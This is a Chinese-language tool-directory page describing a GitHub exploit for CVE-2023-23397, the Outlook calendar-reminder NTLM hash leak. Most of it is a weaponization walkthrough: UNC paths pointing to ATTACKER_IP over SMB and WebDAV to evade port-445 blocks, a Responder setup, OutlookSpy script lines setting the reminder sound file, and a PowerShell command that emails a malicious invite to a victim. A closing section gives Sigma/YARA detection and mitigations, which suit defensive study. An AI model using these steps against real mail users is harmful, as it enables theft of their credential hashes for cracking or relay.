Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/muhammad-ali007/outlookntlm_cve-2023-23397
密码破解漏洞分析漏洞利用IDS/IPS规避横向移动钓鱼攻击事件响应
GitHubmuhammad-ali007/outlookntlm_cve-2023-23397

OutlookNTLM_CVE-2023-23397

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-23397 Outlook NTLM 哈希泄露漏洞的利用程序,通过恶意日历邀请实现攻击。包含 PowerShell 武器化、Responder 集成以及用于事件响应的检测规则。

查看仓库
221163年前Kitploit 审核通过

要利用此漏洞,攻击者必须创建一封恶意日历邀请,其中包含对声音文件的引用,并指向攻击者机器上网络共享中的文件。在底层,Outlook 邮件将声音文件的引用存储在一个名为“PidLidReminderFileParameter”的内部参数中。为了确保我们嵌入在恶意邮件中的音频优先于受害者的默认提醒配置,我们还需要将另一个名为“PidLidReminderOverride”的参数设置为 true。

要将“PidLidReminderFileParameter”属性设置为指向网络共享,攻击者可以指定通用命名约定(UNC)路径,而不是本地文件。UNC 用于 Windows 操作系统中查找网络资源(文件、打印机、共享文档)。这些路径由双反斜杠、托管资源的计算机的 IP 地址或名称、共享名称和文件名组成。例如: \ATTACKER_IP\foo\bar.wav

当受害者收到恶意邮件时,UNC 路径会将他们引导至该 SMB 共享,从而触发该漏洞。这会导致系统针对攻击者的机器启动 NTLM 身份验证过程,泄露 Net-NTLMv2 哈希,攻击者之后可以尝试破解该哈希。 如果由于某种原因 SMB 协议不是一个可行的选择,非服务器版本的 Windows 将接受使用指向 80 或 443 端口的 UNC 路径,并使用 HTTP 从支持 WebDAV 的 Web 服务器检索文件。此类 UNC 路径的语法如下:

\ATTACKER_IP@80\foo\bar.wav OR \ATTACKER_IP@443\foo\bar.wav

这可能有助于绕过阻止到 445 端口(SMB)的出站连接的防火墙限制。

攻击阶段 让我们构造一封包含约会的恶意电子邮件,并设置触发它所需的参数。

设置 Responder: 由于我们预期受害者会针对攻击者的 445 端口触发身份验证尝试,我们将设置 Responder 来处理身份验证过程并为我们捕获 NetNTLM 哈希。如果你不熟悉 Responder,它只会模拟一个 SMB 服务器,并捕获针对它的任何身份验证尝试。 responder -I

尝试手工构造恶意约会:

  • 作为第一次尝试,我们可以手动创建一个约会,并将提醒声音文件的路径编辑为指向共享文件夹。要创建约会,你首先需要点击日历,然后点击“新建约会”按钮。
  • 我们将创建一个提醒设置为 0 分钟的约会,以便在受害者收到后立即触发。我们还将点击“声音”选项来配置提醒的声音文件。
  • 我们可以尝试将声音文件路径设置为指向攻击者机器的 UNC 路径。 然而,Outlook 会静默忽略 UNC 路径并恢复使用默认的 WAV 文件,这可以通过返回“声音”对话框来确认(如果未被替换,我们可以继续从这里进行,否则我们将需要安装 OutlookSpy 插件来帮助我们)。

OutlookSpy: 即使 Outlook 无法将提醒的声音文件设置为 UNC 路径,我们也可以使用 OutlookSpy 插件来实现这一点。该插件允许你直接访问 Outlook 的所有内部参数,包括提醒的声音文件。 在继续之前,你需要手动安装它。运行安装程序前,请务必关闭 Outlook。

  • 要从 OutlookSpy 查看当前约会,请点击 OutlookSpy 选项卡。务必在约会内部点击“CurrentItem”按钮,否则你可能会修改到不同的 Outlook 组件。
  • 在此窗口中,你可以看到与约会提醒关联的参数。我们需要将“ReminderSoundFile”参数设置为指向攻击者机器的 UNC 路径,并将“ReminderOverrideDefault”和“ReminderPlaySound”都设置为 true。仅供参考,以下是每个参数的作用: ReminderPlaySound:布尔值,指示提醒时是否播放声音。 ReminderOverrideDefault:布尔值,指示接收方 Outlook 客户端播放由 ReminderSoundFile 指向的声音,而不是默认声音。 ReminderSoundFile:字符串,包含要使用的声音文件的路径。对于我们的漏洞利用,这将指向攻击者机器上的一个虚假共享文件夹。

我们可以使用脚本选项卡和以下脚本将参数更改为所需的值: AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<attacker's IP><share_folder>\file.wav"

务必点击“运行”按钮以应用更改。你可以返回“属性”选项卡检查值是否已正确更改。最后,保存你的约会以将其添加到日历中,确保提醒设置为“0 分钟”,并且约会与当前时间和日期匹配,因为我们希望它立即触发。

如果一切按预期进行,你应该会立即看到一个提醒弹出。并且你应该会在攻击者机器上的 Responder 控制台中收到身份验证尝试。

武器化 总结利用该漏洞所需的步骤,攻击者需要:

  • 创建一个恶意会议/约会,其自定义提醒声音指向攻击者机器上的 UNC 路径。
  • 通过电子邮件将邀请发送给受害者。
  • 等待提醒触发与攻击者机器的连接。
  • 捕获 Net-NTLMv2 哈希,使用身份验证中继,或以任何其他方式获利。

步骤 3 和 4 已经由 Responder 为我们处理,但手工制作恶意约会有点繁琐。幸运的是,有几个现成的漏洞利用工具可供我们创建和发送恶意约会,本仓库中提供了其中之一。

此 PowerShell 漏洞利用脚本利用 Outlook 的 COM 对象来轻松构建邮件和约会。它包含几个我们可以使用的函数: Save-CalendarNTLMLeak:此函数创建一个恶意约会并将其保存到你自己的日历中。适用于测试目的。 Send-CalendarNTLMLeak:此函数创建一个恶意约会并通过电子邮件将其发送给受害者。邮件邀请将从你 Outlook 当前的默认账户发送。

使用漏洞利用: 在 PowerShell 中,你可以使用“Import-Module”cmdlet 导入漏洞利用脚本的函数。之后,这两个函数将在你当前的 PowerShell 中可用。要发送包含恶意约会的电子邮件,只需运行以下命令:

PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."

由于该漏洞利用使用当前 Outlook 实例发送电子邮件,你可能会收到几个警报,要求你授予脚本代表你发送电子邮件的权限。请务必根据需要多次按下“允许”。勾选“允许访问 10 分钟”复选框也有助于加快此过程。

检测与缓解

检测: 既然我们已经完成了将 CVE-2023-23397 Outlook 攻击武器化的步骤,接下来让我们讨论几种在网络中检测此攻击的方法。每次攻击都会留下模式或痕迹,可以帮助检测团队识别威胁。这一切都取决于网络可见性以及所收集的、能提供极其重要可见性的日志源。

Sigma 规则: 随附的 Sigma 规则可检测 Outlook 发起与 WebDav 或 SMB 共享的连接,表明处于后渗透阶段。此 Sigma 规则旨在检测“svchost.exe”生成带有类似 C:\windows\system32\davclnt.dll,DavSetCookie 命令参数的“rundll32.exe”,这表示后渗透/数据渗出阶段。这些 SIGMA 规则可以转换为检测和监控工具,用于在网络中搜寻可疑的日志活动。

Yara 规则: YARA 规则在磁盘上的文件中查找模式。随附的社区 YARA 规则可用于检测磁盘上带有上文讨论的两个属性的可疑 MSG 文件。

Microsoft 已发布了一个 PowerShell 脚本“CVE-2023-23397.ps1”,该脚本将检查 Exchange 邮件项目(如邮件、日历和任务),以查看是否发现与 CVE-2023-23397 攻击相关的 IOC。该脚本可用于审计和清理检测到的项目。

缓解措施: 该漏洞正在现实环境中被广泛利用。Microsoft 建议的用于缓解和避免此攻击的部分推荐措施如下:

  • 将用户添加到受保护用户安全组,该组可防止使用 NTLM 作为身份验证机制。
  • 阻止从你的网络发出的 TCP 445/SMB 出站连接,以避免任何后渗透连接。
  • 使用 Microsoft 发布的 PowerShell 脚本对 Exchange 服务器进行扫描,以检测任何攻击企图。
  • 禁用 WebClient 服务以避免 WebDAV 连接。
下载工具